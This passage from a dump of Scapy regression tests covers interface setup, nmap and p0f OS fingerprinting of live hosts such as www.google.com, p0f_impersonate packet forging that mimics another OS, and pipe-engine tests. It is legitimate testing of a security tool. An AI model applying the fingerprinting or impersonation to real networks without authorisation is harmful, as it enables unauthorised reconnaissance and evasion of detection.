l3ps.send(IP(dst=\"8.8.8.8\")/ICMP())\n    return True\n\nassert test_L3PacketSocket_sendto_python3()\n\n= Test _interface_selection\n~ netaccess linux needs_root\n\nimport os\nfrom scapy.sendrecv import _interface_selection\nassert _interface_selection(IP(dst=\"8.8.8.8\")/UDP()) == (conf.iface, False)\nexit_status = os.system(\"ip link add name scapy0 type dummy\")\nexit_status = os.system(\"ip addr add 192.0.2.1/24 dev scapy0\")\nexit_status = os.system(\"ip addr add fc00::/24 dev scapy0\")\nexit_status = os.system(\"ip link set scapy0 up\")\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\nassert _interface_selection(IP(dst=\"192.0.2.42\")/UDP()) == (\"scapy0\", False)\nassert _interface_selection(IPv6(dst=\"fc00::ae0d\")/UDP()) == (\"scapy0\", True)\nexit_status = os.system(\"ip link del name dev scapy0\")\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n\n= Test 802.1Q sniffing\n~ linux needs_root veth\n\nfrom scapy.arch.linux import VEthPair\nfrom threading import Thread, Condition\n\ndef _send():\n    sendp(Ether()/IP(dst=\"198.51.100.2\")/ICMP(), iface='vlanleft0', count=2)\n\n\nwith VEthPair(\"left0\", \"right0\") as veth:\n    exit_status = os.system(\"ip link add link right0 name vlanright0 type vlan id 42\")\n    exit_status = os.system(\"ip link add link left0 name vlanleft0 type vlan id 42\")\n    exit_status = os.system(\"ip link set vlanright0 up\")\n    exit_status = os.system(\"ip link set vlanleft0 up\")\n    exit_status = os.system(\"ip addr add 198.51.100.1/24 dev vlanleft0\")\n    exit_status = os.system(\"ip addr add 198.51.100.2/24 dev vlanright0\")\n    sniffer = AsyncSniffer(\n        iface=\"right0\",\n        lfilter=lambda p: Dot1Q in p,\n        count=2,\n        timeout=5,\n        started_callback=_send,\n    )\n    sniffer.start()\n    sniffer.join(1)\n    if sniffer.running:\n        sniffer.stop()\n        raise Scapy_Exception(\"Sniffer did not stop !\")\n    else:\n        results = sniffer.results\n\n\nassert len(results) == 2\nassert all(Dot1Q in x for x in results)\n\n\n= Reload interfaces & routes\n\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n"
  },
  {
    "path": "test/nmap.uts",
    "content": "% Regression tests for Scapy Nmap module\n\n~ nmap\n\n############\n############\n+ Basic Nmap OS fingerprints tests\n\n= Module loading\nload_module('nmap')\n\n= Test functions\n\nd = nmap_udppacket_sig(IP()/UDP(), IP(raw(IP()/ICMP(type=3, code=2)/IPerror()/UDPerror())))\nassert len(d) == 9\n\nd = nmap_tcppacket_sig(IP()/TCP())\nassert len(d) == 5\n\n= Fetch database\n~ netaccess\n\ntry:\n    from urllib.request import urlopen\nexcept ImportError:\n    from urllib2 import urlopen\n\nfilename = 'nmap-os-fingerprints' + str(RandString(6))\n\ndef _test():\n    with open(filename, 'wb') as fd:\n        fd.write(urlopen('https://raw.githubusercontent.com/nmap/nmap/9efe1892/nmap-os-fingerprints').read())\n\nretry_test(_test)\n\nconf.nmap_base = filename\n\n= Database loading\n~ netaccess\n\nprint(conf.nmap_kdb.base, conf.nmap_kdb.filename, len(conf.nmap_kdb.get_base()))\nassert len(conf.nmap_kdb.get_base()) > 100\n\n= fingerprint test: www.secdev.org\n~ netaccess needs_root\nwith no_debug_dissector():\n    score, fprint = nmap_fp('www.secdev.org')\n\nprint(score, fprint)\nassert score > 0.5\nassert fprint\n\n= fingerprint test: gateway\n~ netaccess needs_root\nwith no_debug_dissector():\n    score, fprint = nmap_fp(conf.route.route('0.0.0.0')[2])\n\nprint(score, fprint)\nassert score > 0.5\nassert fprint\n\n= fingerprint test: to text\n~  netaccess needs_root\n\nimport re as re_\n\nwith no_debug_dissector():\n    a = nmap_sig(\"www.secdev.org\", 80, 81)\n\na\nfor x in nmap_sig2txt(a).split(\"\\n\"):\n    assert re_.match(r\"\\w{2,4}\\(.*\\)\", x)\n\n= nmap_udppacket_sig test: www.google.com\n~ netaccess needs_root\n\nwith no_debug_dissector():\n    a = nmap_sig(\"www.google.com\", ucport=80)\n\nassert len(a) > 3\nassert len(a[\"PU\"]) > 0\n\n+ Nmap errors triggering\n\n= Nmap base not available\n\nconf.nmap_kdb.filename = \"invalid\"\nconf.nmap_kdb.reload()\nassert conf.nmap_kdb.filename == None\n\n= Clear temp files\ntry:\n    os.remove(filename)\nexcept:\n    pass\n\n"
  },
  {
    "path": "test/p0f.uts",
    "content": "% Tests for Scapy's p0f module.\n\n~ p0f\n\n+ Basic p0f module tests\n\n= Module loading\nload_module('p0f')\n\n= Fetch database\n~ netaccess\n\ntry:\n    from urllib.request import urlopen\nexcept ImportError:\n    from urllib2 import urlopen\n\nfor i in range(10):\n    try:\n        open(\"p0f.fp\", 'wb').write(urlopen('https://raw.githubusercontent.com/p0f/p0f/e8b924ae7fa099a3a5fe7def0ce3e397fd9a7137/p0f.fp').read())\n        break\n    except:\n        raise\n\nconf.p0f_base = \"p0f.fp\"\np0fdb.reload(conf.p0f_base)\n\n+ Default tests\n\n= Test TCP p0f, SYN - Windows\n~ netaccess\n\npkt = IP(b'E\\x00\\x004Se@\\x00\\x80\\x06\\x93?\\n\\x00\\x00\\x14\\n\\x00\\x00\\x0c\\xc3\\x08\\x01\\xbb\\xcf\\xb4\\xbb\\\\\\x00\\x00\\x00\\x00\\x80\\x02 \\x00\\xeb\\x1b\\x00\\x00\\x02\\x04\\x05\\xb4\\x01\\x03\\x03\\x08\\x01\\x01\\x04\\x02')\nassert p0f(pkt) == (('s', 'win', 'Windows', '7 or 8'), 0, False)\n\n= Test TCP p0f, SYN - Linux\n~ netaccess\n\npkt = IP(b\"E\\x10\\x00<A0@\\x00@\\x06t\\xdd\\xc0\\xa8\\x01\\x8c\\xc0\\xa8\\x01\\xc2\\xdd\\xb8\\x00\\x17\\xda\\xcf!\\xd5\\x00\\x00\\x00\\x00\\xa0\\x02\\x16\\xd0q\\x10\\x00\\x00\\x02\\x04\\x05\\xb4\\x04\\x02\\x08\\n\\x00'`\\xe5\\x00\\x00\\x00\\x00\\x01\\x03\\x03\\x07\")\nassert p0f(pkt) == (('s', 'unix', 'Linux', '2.6.x'), 0, False)\n\n= Test TCP p0f, SYN - IPv6 FreeBSD\n~ netaccess\n\npkt = IPv6(hlim=64) / TCP(seq=1, window=65535, options=[(\"MSS\", 150), (\"NOP\", None), (\"WScale\", 6), (\"SAckOK\", \"\"), (\"Timestamp\", (12345, 0))])\nassert p0f(pkt) == (('s', 'unix', 'FreeBSD', '9.x or newer'), 0, False)\n\n= Test TCP p0f, SYN-ACK - Linux\n~ netaccess\n\npkt = IP(b'E\\x00\\x00<\\x00\\x00@\\x008\\x06N;?t\\xf3a\\xc0\\xa8\\x01\\x03\\x00P\\xe5\\xc0\\xa3\\xc4\\x80\\x9f\\xe5\\x94=\\xab\\xa0\\x12\\x16\\xa0N\\x07\\x00\\x00\\x02\\x04\\x05\\xb4\\x04\\x02\\x08\\n\\x8d\\x9d\\x9d\\xfa\\x00\\x17\\x95e\\x01\\x03\\x03\\x05')\nassert p0f(pkt) == (('s', 'unix', 'Linux', '2.6.x'), 8, False)\n\n= Test HTTP p0f, request - wget\n~ netaccess\n\npkt = IP(b'E\\x00\\x00\\xba\\xcb]@\\x00@\\x06(d\\xc0\\xa8\\x01\\x8c\\xae\\x8f\\xd5\\xb8\\xe1N\\x00P\\x8eP\\x19\\x02\\xc7R\\x9d\\x89\\x80\\x18\\x00.G)\\x00\\x00\\x01\\x01\\x08\\n\\x00!\\xd2_1\\xc7\\xbaHGET /images/layout/logo.png HTTP/1.0\\r\\nUser-Agent: Wget/1.12 (linux-gnu)\\r\\nAccept: */*\\r\\nHost: packetlife.net\\r\\nConnection: Keep-Alive\\r\\n\\r\\n')\nassert p0f(pkt) == (('s', '!', 'wget', '', ('@unix', 'Windows')), False)\n\n= Test HTTP p0f, response - nginx\n~ netaccess\n\npkt = IP(b\"E\\x00\\x05\\xdc'\\xde@\\x00\\xfb\\x06\\x0b\\xc1\\xae\\x8f\\xd5\\xb8\\xc0\\xa8\\x01\\x8c\\x00P\\xe1N\\xc7R\\x9d\\x89\\x8eP\\x19\\x88\\x80\\x10\\x00lS\\xc4\\x00\\x00\\x01\\x01\\x08\\n1\\xc7\\xbaT\\x00!\\xd2_HTTP/1.1 200 OK\\r\\nServer: nginx/0.8.53\\r\\nDate: Tue, 01 Mar 2011 20:45:16 GMT\\r\\nContent-Type: image/png\\r\\nContent-Length: 21684\\r\\nLast-Modified: Fri, 21 Jan 2011 03:41:14 GMT\\r\\nConnection: keep-alive\\r\\nKeep-Alive: timeout=20\\r\\nExpires: Wed, 29 Feb 2012 20:45:16 GMT\\r\\nCache-Control: max-age=31536000\\r\\nCache-Control: public\\r\\nVary: Accept-Encoding\\r\\nAccept-Ranges: bytes\\r\\n\\r\\n\")\nassert p0f(pkt) == (('s', '!', 'nginx', '1.x', ('@unix',)), False)\n\n= Test MTU p0f\n~ netaccess\n\npkt = IP(b'E\\x00\\x004Se@\\x00\\x80\\x06\\x93?\\n\\x00\\x00\\x14\\n\\x00\\x00\\x0c\\xc3\\x08\\x01\\xbb\\xcf\\xb4\\xbb\\\\\\x00\\x00\\x00\\x00\\x80\\x02 \\x00\\xeb\\x1b\\x00\\x00\\x02\\x04\\x05\\xb4\\x01\\x03\\x03\\x08\\x01\\x01\\x04\\x02')\nassert fingerprint_mtu(pkt) == \"Ethernet or modem\"\n\n\n+ Tests for p0f_impersonate\n\n= Check that the impersonated packet is properly detected by p0f\n~ netaccess\n\npkt = p0f_impersonate(IP()/TCP(), osgenre=\"Linux\", osdetails=\"3.11 and newer\")\nassert p0f(pkt) == ((\"s\", \"unix\", \"Linux\", \"3.11 and newer\"), 0, False)\n\n= Check incidence of MSS value on linux version detection\n~ netaccess\n\npkt = IP(ttl=64, flags=2)/TCP(options=[('MSS', 14), ('SAckOK', ''), ('Timestamp', (2638474259, 0)), ('NOP', None), ('WScale', 7)], window=280, seq=3964706621, flags=2)\nassert p0f(pkt) == (('g', 'unix', 'Linux', '2.2.x-3.x'), 0, False)\n\npkt[TCP].options = [('MSS', 100), ('SAckOK', ''), ('Timestamp', (2638474259, 0)), ('NOP', None), ('WScale', 7)]\npkt[TCP].window = 100*20\nassert p0f(pkt) == ((\"s\", \"unix\", \"Linux\", \"3.11 and newer\"), 0, False)\n\n= Impersonate when window size must be multiple of some integer\nsig = \"*:64:0:1460:%8192,0:mss,nop,ws::0\"\npkt = p0f_impersonate(IP()/TCP(), signature=sig)\nassert pkt[TCP].window % 8192 == 0\n\n= Impersonate when window size must be multiple of mss\nsig = \"*:64:0:1024:mss*4,0:mss::0\"\npkt = p0f_impersonate(IP()/TCP(), signature=sig)\nassert (pkt[TCP].window // 4) == 1024\n\n= Impersonate when the following quirks are present: seq-,ack-,pushf+,urgf+\nsig = \"*:64:0:1460:8192,0:mss:seq-,ack-,pushf+,urgf+:0\"\npkt = p0f_impersonate(IP()/TCP(seq=1, ack=1, flags=\"S\"), signature=sig)\ntcp = pkt[TCP]\nassert pkt[TCP].seq == pkt[TCP].ack == 0\nassert pkt[TCP].flags.A and pkt[TCP].flags.P and pkt[TCP].flags.U\n\n= Use valid option values from original packet\nsig = \"*:64:0:*:8192,*:mss,ws,ts::0\"\nopts = [(\"MSS\", 1400), (\"WScale\", 3), (\"Timestamp\", (97256, 0))]\npkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)\nassert pkt[TCP].options == opts\n\n= Discard invalid options values\nsig = \"*:64:0:1000:8192,5:mss,ws::0\"\nopts = [(\"MSS\", 1400), (\"WScale\", 3)]\npkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)\nassert pkt[TCP].options[0][1] == 1000\nassert pkt[TCP].options[1][1] == 5\n\n+ Clear temp files\n\n= Remove fp files\ndef _rem(f):\n    try:\n        os.remove(f)\n    except:\n        pass\n\n_rem(\"p0f.fp\")\n"
  },
  {
    "path": "test/p0fv2.uts",
    "content": "% Tests for Scapy's p0fv2 module.\n\n~ p0f\n\n\n############\n############\n+ Basic p0f module tests\n\n= Module loading\nload_module('p0fv2')\n\n= Fetch database\n~ netaccess\n\ntry:\n    from urllib.request import urlopen\nexcept ImportError:\n    from urllib2 import urlopen\n\ndef _load_database(file):\n    for i in range(10):\n        try:\n            with open(file, 'wb') as fd:\n                fd.write(urlopen('https://raw.githubusercontent.com/p0f/p0f/4b4d1f384abebbb9b1b25b8f3c6df5ad7ab365f7/' + file).read())\n            break\n        except:\n            raise\n            pass\n\n_load_database(\"p0f.fp\")\nconf.p0f_base = \"p0f.fp\"\n_load_database(\"p0fa.fp\")\nconf.p0fa_base = \"p0fa.fp\"\n_load_database(\"p0fr.fp\")\nconf.p0fr_base = \"p0fr.fp\"\n_load_database(\"p0fo.fp\")\nconf.p0fo_base = \"p0fo.fp\"\n\np0f_load_knowledgebases()\n\n############\n############\n+ Default tests\n\n= Test p0f\n~ netaccess\n\npkt = Ether(b'\\x14\\x0cv\\x8f\\xfe(\\xd0P\\x99V\\xdd\\xf9\\x08\\x00E\\x00\\x0045+@\\x00\\x80\\x06\\x00\\x00\\xc0\\xa8\\x00w(M\\xe2\\xf9\\xda\\xcb\\x01\\xbbcc\\xdd\\x1e\\x00\\x00\\x00\\x00\\x80\\x02\\xfa\\xf0\\xcc\\x8c\\x00\\x00\\x02\\x04\\x05\\xb4\\x01\\x03\\x03\\x08\\x01\\x01\\x04\\x02')\n\nassert p0f(pkt) == [('@Windows', 'XP/2000 (RFC1323+, w+, tstamp-)', 0)]\n\n= Test prnp0f\n~ netaccess\n\nwith ContextManagerCaptureOutput() as cmco:\n    prnp0f(pkt)\n    assert cmco.get_output() == '192.168.0.119:56011 - @Windows XP/2000 (RFC1323+, w+, tstamp-)\\n  -> 40.77.226.249:https (S) (distance 0)\\n'\n\n############\n############\n+ Tests for p0f_impersonate\n\n# XXX: a lot of pieces of p0f_impersonate don't have tests yet.\n\n= Impersonate when window size must be multiple of some integer\nsig = ('%467', 64, 1, 60, 'M*,W*', '.', 'Phony Sys', '1.0')\npkt = p0f_impersonate(IP()/TCP(), signature=sig)\nassert pkt.payload.window % 467 == 0\n\n= Handle unusual flags (\"F\") quirk\nsig = ('1024', 64, 0, 60, 'W*', 'F', 'Phony Sys', '1.0')\npkt = p0f_impersonate(IP()/TCP(), signature=sig)\nassert (pkt.payload.flags & 40) in (8, 32, 40)\n\n= Use valid option values from original packet\nsig = ('S4', 64, 1, 60, 'M*,W*,T', '.', 'Phony Sys', '1.0')\nopts = [('MSS', 1400), ('WScale', 3), ('Timestamp', (97256, 0))]\npkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)\nassert pkt.payload.options == opts\n\n= Use valid option values when multiples required\nsig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0')\nopts = [('MSS', 37*15), ('WScale', 19*12)]\npkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)\nassert pkt.payload.options == opts\n\n= Discard non-multiple option values when multiples required\nsig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0')\nopts = [('MSS', 37*15 + 1), ('WScale', 19*12 + 1)]\npkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)\nassert pkt.payload.options[0][1] % 37 == 0\nassert pkt.payload.options[1][1] % 19 == 0\n\n= Discard bad timestamp values\nsig = ('S4', 64, 1, 60, 'M*,T', '.', 'Phony Sys', '1.0')\nopts = [('Timestamp', (0, 1000))]\npkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)\n# since option is \"T\" and not \"T0\":\nassert pkt.payload.options[1][1][0] > 0\n# since T quirk is not present:\nassert pkt.payload.options[1][1][1] == 0\n\n= Discard 2nd timestamp of 0 if \"T\" quirk is present\nsig = ('S4', 64, 1, 60, 'M*,T', 'T', 'Phony Sys', '1.0')\nopts = [('Timestamp', (54321, 0))]\npkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)\nassert pkt.payload.options[1][1][1] > 0\n\n+ Clear temp files\n\n= Remove fp files\ndef _rem(f):\n    try:\n        os.remove(f)\n    except:\n        pass\n\n_rem(\"p0f.fp\")\n_rem(\"p0fa.fp\")\n_rem(\"p0fr.fp\")\n_rem(\"p0fo.fp\")\n"
  },
  {
    "path": "test/pipetool.uts",
    "content": "########################\n% Pipetool related tests\n########################\n\n+ Basic tests\n\n= Test default test case\n\ns = PeriodicSource(\"hello\", 1, name=\"src\")\nd1 = Drain(name=\"d1\")\nc = ConsoleSink(name=\"c\")\ntf = TransformDrain(lambda x: \"Got %s\" % x)\ns > d1 > c\nd1 > tf\ntry:\n  t = TermSink(name=\"PipeToolsPeriodicTest\", keepterm=False)\n  tf > t\nexcept (IOError, OSError):\n  pass\n\np = PipeEngine(s)\np.start()\ntime.sleep(3)\ns.msg = []\np.stop()\n\n= Test add_pipe\n\ns = AutoSource()\np = PipeEngine(s)\np.add(Pipe())\nassert len(p.active_pipes) == 2\n\nx = p.spawn_Pipe()\nassert len(p.active_pipes) == 3\nassert isinstance(x, Pipe)\n\n= Test exhausted source\n\ns = AutoSource()\ns._gen_data(\"hello\")\ns.is_exhausted = True\nd1 = Drain(name=\"d1\")\nc = ConsoleSink(name=\"c\")\ns > d1 > c\n\np = PipeEngine(s)\np.start()\np.wait_and_stop()\n\n= Test add_pipe on running instance\n\np = PipeEngine()\np.start()\n\ns = CLIFeeder()\n\nd1 = Drain(name=\"d1\")\nc = QueueSink(name=\"c\")\ns > d1 > c\n\np.add(s)\n\ns.send(\"hello\")\ns.send(\"hi\")\n\nassert c.q.get(timeout=5) == \"hello\"\nassert c.q.get(timeout=5) == \"hi\"\n\np.stop()\n\n= Test Operators\n\ns = AutoSource()\np = PipeEngine(s)\nassert p == p\n\na = AutoSource()\nb = AutoSource()\na >> b\nassert len(a.high_sinks) == 1\nassert len(a.high_sources) == 0\nassert len(b.high_sinks) == 0\nassert len(b.high_sources) == 1\na\nb\n\na = Sink()\nb = AutoSource()\na << b\nassert len(a.high_sinks) == 0\nassert len(a.high_sources) == 1\nassert len(b.high_sinks) == 1\nassert len(b.high_sources) == 0\na\nb\n\na = Sink()\nb = Sink()\na % b\nassert len(a.sinks) == 1\nassert len(a.sources) == 1\nassert len(b.sinks) == 1\nassert len(b.sources) == 1\n\na = Sink()\nb = Sink()\na//b\nassert len(a.high_sinks) == 1\nassert len(a.high_sources) == 1\nassert len(b.high_sinks) == 1\nassert len(b.high_sources) == 1\n\na = AutoSource()\nb = Sink()\na^b\nassert len(b.trigger_sources) == 1\nassert len(a.trigger_sinks) == 1\n\n= Test doc\n\ns = AutoSource()\np = PipeEngine(s)\np.list_pipes()\np.list_pipes_detailed()\n\n= Test RawConsoleSink with CLIFeeder\n\np = PipeEngine()\n\ns = CLIFeeder()\ns.send(\"hello\")\ns.is_exhausted = True\n\nr, w = os.pipe()\n\nd1 = Drain(name=\"d1\")\nc = RawConsoleSink(name=\"c\")\nc._write_pipe = w\ns > d1 > c\n\np.add(s)\np.start()\n\nassert os.read(r, 20) == b\"hello\\n\"\np.wait_and_stop()\n\n= Test QueueSink with CLIFeeder\n\np = PipeEngine()\n\ns = CLIFeeder()\ns.send(\"hello\")\ns.is_exhausted = True\n\nd1 = Drain(name=\"d1\")\nc = QueueSink(name=\"c\")\ns > d1 > c\n\np.add(s)\np.start()\n\np.wait_and_stop()\nassert c.recv() == \"hello\"\nassert c.recv(block=False) is None\n\n= Test UpDrain\n\ntest_val = None\n\nclass TestSink(Sink):\n    def high_push(self, msg):\n        global test_val\n        test_val = msg\n\np = PipeEngine()\n\ns = CLIFeeder()\ns.send(\"hello\")\ns.is_exhausted = True\n\nd1 = UpDrain(name=\"d1\")\nc = TestSink(name=\"c\")\ns > d1\nd1 >> c\n\np.add(s)\np.start()\n\np.wait_and_stop()\nassert test_val == \"hello\"\n\n= Test DownDrain\n\ntest_val = None\n\nclass TestSink(Sink):\n    def push(self, msg):\n        global test_val\n        test_val = msg\n\np = PipeEngine()\n\ns = CLIHighFeeder()\ns.send(\"hello\")\ns.is_exhausted = True\n\nd1 = DownDrain(name=\"d1\")\nc = TestSink(name=\"c\")\ns >> d1\nd1 > c\n\np.add(s)\np.start()\n\np.wait_and_stop()\nassert test_val == \"hello\"\n\n= Test PeriodicSource exhaustion\n\ns = PeriodicSource(\"\", 1)\ns.msg = []\np = PipeEngine(s)\np.start()\np.wait_and_stop()\n\n+ Advanced ScapyPipes pipetools tests\n\n= Test SniffSource\n\nfrom unittest import mock\nfd = ObjectPipe(\"sniffsource\")\nfd.write(\"test\")\n\n@mock.patch(\"scapy.scapypipes.conf.L2listen\")\ndef _test(l2listen):\n    l2listen.return_value=Bunch(close=lambda *args: None, fileno=lambda: fd.fileno(), recv=lambda *args: Raw(\"data\"))\n    p = PipeEngine()\n    s = SniffSource()\n    assert s.s is None\n    d1 = Drain(name=\"d1\")\n    c = QueueSink(name=\"c\")\n    s > d1 > c\n    p.add(s)\n    p.start()\n    x = c.q.get(2)\n    assert bytes(x) == b\"data\"\n    assert s.s is not None\n    p.stop()\n\ntry:\n    _test()\nfinally:\n    fd.close()\n\n= Test SniffSource with socket\n\nfd = ObjectPipe(\"sniffsource_socket\")\nfd.write(\"test\")\n\nclass FakeSocket(object):\n    def __init__(self):\n        self.times = 0\n    def recv(self, x=None):\n        if self.times > 2:\n            return\n        self.times += 1\n        return Raw(b'hello')\n    def fileno(self):\n        return fd.fileno()\n\ntry:\n    p = PipeEngine()\n    s = SniffSource(socket=FakeSocket())\n    assert s.s is not None\n    d = Drain()\n    c = QueueSink()\n    p.add(s > d > c)\n    p.start()\n    msg = c.q.get(timeout=1)\n    p.stop()\n    assert raw(msg) == b'hello'\nfinally:\n    fd.close()\n\n= Test SniffSource with invalid args\n\ntry:\n    s = SniffSource(iface='eth0', socket='not a socket')\nexcept ValueError:\n    pass\nelse:\n    # expected ValueError\n    assert False\n\n= Test exhausted AutoSource and SniffSource\n\nfrom unittest import mock\nfrom scapy.error import Scapy_Exception\n\ndef _fail():\n    raise Scapy_Exception()\n\na = AutoSource()\na._send = mock.MagicMock(side_effect=_fail)\na.send(\"x\")\ntry:\n    a.deliver()\nexcept:\n    pass\n\ns = SniffSource()\ns.s = mock.MagicMock()\ns.s.recv = mock.MagicMock(side_effect=_fail)\ntry:\n    s.deliver()\nexcept:\n    pass\n\n= Test WiresharkSink\n~ wiresharksink\n\nq = ObjectPipe(\"wiresharksink\")\npkt = Ether(dst=\"aa:aa:aa:aa:aa:aa\", src=\"bb:bb:bb:bb:bb:bb\")/IP(dst=\"127.0.0.1\", src=\"127.0.0.1\")/ICMP()\n\nfrom unittest import mock\nwith mock.patch(\"scapy.scapypipes.subprocess.Popen\", return_value=Bunch(stdin=q)) as popen:\n    sink = WiresharkSink()\n    sink.start()\n\nsink.push(pkt)\n\nq.recv()\nq.recv()\nassert raw(pkt) in q.recv()\n\npopen.assert_called_once_with(\n    [conf.prog.wireshark, '-Slki', '-'], stdin=subprocess.PIPE, stdout=None,\n    stderr=None)\n\n= Test WiresharkSink with linktype\n~ wiresharksink\n\nlinktype = scapy.data.DLT_EN3MB\nq = ObjectPipe(\"wiresharksink_linktype\")\npkt = Ether(dst=\"aa:aa:aa:aa:aa:aa\", src=\"bb:bb:bb:bb:bb:bb\")/IP(dst=\"127.0.0.1\", src=\"127.0.0.1\")/ICMP()\n\nfrom unittest import mock\nwith mock.patch(\"scapy.scapypipes.subprocess.Popen\", return_value=Bunch(stdin=q)) as popen:\n    sink = WiresharkSink(linktype=linktype)\n    sink.start()\n\nsink.push(pkt)\n\nchb(linktype) in q.recv()\nq.recv()\nassert raw(pkt) in q.recv()\n\n= Test WiresharkSink with args\n~ wiresharksink\n\nlinktype = scapy.data.DLT_EN3MB\nq = ObjectPipe(\"wiresharksink_args\")\npkt = Ether(dst=\"aa:aa:aa:aa:aa:aa\", src=\"bb:bb:bb:bb:bb:bb\")/IP(dst=\"127.0.0.1\", src=\"127.0.0.1\")/ICMP()\n\nfrom unittest import mock\nwith mock.patch(\"scapy.scapypipes.subprocess.Popen\", return_value=Bunch(stdin=q)) as popen:\n    sink = WiresharkSink(args=['-c', '1'])\n    sink.start()\n\nsink.push(pkt)\n\npopen.assert_called_once_with(\n    [conf.prog.wireshark, '-Slki', '-', '-c', '1'],\n    stdin=subprocess.PIPE, stdout=None, stderr=None)\n\n= Test RdpcapSource and WrpcapSink\n\ndname = get_temp_dir()\n\nreq = Ether(b'E\\x00\\x00\\x1c\\x00\\x00\\x00\\x004\\x01\\x1d\\x04\\xd8:\\xd0\\x83\\xc0\\xa8\\x00w\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nrpy = Ether(b'\\x8c\\xf8\\x13C5P\\xdcS`\\xeb\\x80H\\x08\\x00E\\x00\\x00\\x1c\\x00\\x00\\x00\\x004\\x01\\x1d\\x04\\xd8:\\xd0\\x83\\xc0\\xa8\\x00w\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\nwrpcap(os.path.join(dname, \"t.pcap\"), [req, rpy])\n\np = PipeEngine()\n\ns = RdpcapSource(os.path.join(dname, \"t.pcap\"))\nd1 = Drain(name=\"d1\")\nc = WrpcapSink(os.path.join(dname, \"t2.pcap.gz\"), name=\"c\", gz=1)\ns > d1 > c\np.add(s)\np.start()\np.wait_and_stop()\n\nresults = rdpcap(os.path.join(dname, \"t2.pcap.gz\"))\n\nassert raw(results[0]) == raw(req)\nassert raw(results[1]) == raw(rpy)\n\nos.unlink(os.path.join(dname, \"t.pcap\"))\nos.unlink(os.path.join(dname, \"t2.pcap.gz\"))\n\n= Test InjectSink and Inject3Sink\n~ needs_root\n\nfrom unittest import mock\n\na = IP(dst=\"192.168.0.1\")/ICMP()\nmsgs = []\n\nclass FakeSocket(object):\n    def __init__(self, *arg, **karg):\n        pass\n    def close(self):\n        pass\n    def send(self, msg):\n        global msgs\n        msgs.append(msg)\n\n@mock.patch(\"scapy.scapypipes.conf.L2socket\", FakeSocket)\n@mock.patch(\"scapy.scapypipes.conf.L3socket\", FakeSocket)\ndef _inject_sink(i3):\n    s = CLIFeeder()\n    s.send(a)\n    s.is_exhausted = True\n    d1 = Drain(name=\"d1\")\n    c = Inject3Sink() if i3 else InjectSink()\n    s > d1 > c\n    p = PipeEngine(s)\n    p.start()\n    p.wait_and_stop()\n\n_inject_sink(False) # InjectSink\n_inject_sink(True) # Inject3Sink\n\nassert msgs == [a,a]\n\n= TriggerDrain and TriggeredValve with CLIFeeder\n\ns = CLIFeeder()\nd1 = TriggerDrain(lambda x:x==\"trigger\")\nd2 = TriggeredValve()\nc = QueueSink()\n\ns > d1 > d2 > c\nd1 ^ d2\n\np = PipeEngine(s)\np.start()\n\ns.send(\"hello\")\ns.send(\"trigger\")\ns.send(\"hello2\")\ns.send(\"trigger\")\ns.send(\"hello3\")\n\nassert c.q.get(timeout=5) == \"hello\"\nassert c.q.get(timeout=5) == \"trigger\"\nassert c.q.get(timeout=5) == \"hello3\"\n\np.stop()\n\n= TriggerDrain and TriggeredValve with CLIHighFeeder\n\ns = CLIHighFeeder()\nd1 = TriggerDrain(lambda x:x==\"trigger\")\nd2 = TriggeredValve()\nc = QueueSink()\n\ns >> d1\nd1 >> d2\nd2 >> c\nd1 ^ d2\n\np = PipeEngine(s)\np.start()\n\ns.send(\"hello\")\ns.send(\"trigger\")\ns.send(\"hello2\")\ns.send(\"trigger\")\ns.send(\"hello3\")\n\nassert c.q.get(timeout=5) == \"hello\"\nassert c.q.get(timeout=5) == \"trigger\"\nassert c.q.get(timeout=5) == \"hello3\"\n\np.stop()\n\n= TriggerDrain and TriggeredQueueingValve with CLIFeeder\n\ns = CLIFeeder()\nd1 = TriggerDrain(lambda x:x==\"trigger\")\nd2 = TriggeredValve()\nc = QueueSink()\n\ns > d1 > d2 > c\nd1 ^ d2\n\np = PipeEngine(s)\np.start()\n\ns.send(\"hello\")\ns.send(\"trigger\")\ns.send(\"hello2\")\ns.send(\"trigger\")\ns.send(\"hello3\")\n\nassert c.q.get(timeout=5) == \"hello\"\nassert c.q.get(timeout=5) == \"trigger\"\nassert c.q.get(timeout=5) == \"hello3\"\n\np.stop()\n\n= TriggerDrain and TriggeredSwitch with CLIFeeder on high channel\n\ns = CLIFeeder()\nd1 = TriggerDrain(lambda x:x==\"trigger\")\nd2 = TriggeredSwitch()\nc = QueueSink()\n\ns > d1 > d2\nd2 >> c\nd1 ^ d2\n\np = PipeEngine(s)\np.start()\n\ns.send(\"hello\")\ns.send(\"trigger\")\ns.send(\"hello2\")\ns.send(\"trigger\")\ns.send(\"hello3\")\n\nassert c.q.get(timeout=5) == \"trigger\"\nassert c.q.get(timeout=5) == \"hello2\"\n\np.stop()\n\n= TriggerDrain and TriggeredSwitch with CLIHighFeeder on low channel\n\ns = CLIHighFeeder()\nd1 = TriggerDrain(lambda x:x==\"trigger\")\nd2 = TriggeredSwitch()\nc = QueueSink()\n\ns >> d1\nd1 >> d2\nd2 > c\nd1 ^ d2\n\np = PipeEngine(s)\np.start()\n\ns.send(\"hello\")\ns.send(\"trigger\")\ns.send(\"hello2\")\ns.send(\"trigger\")\ns.send(\"hello3\")\n\nassert c.q.get(timeout=5) == \"hello\"\nassert c.q.get(timeout=5) == \"trigger\"\nassert c.q.get(timeout=5) == \"hello3\"\n\np.stop()\n\n= TriggerDrain and TriggeredMessage\n\ns = CLIFeeder()\nd1 = TriggerDrain(lambda 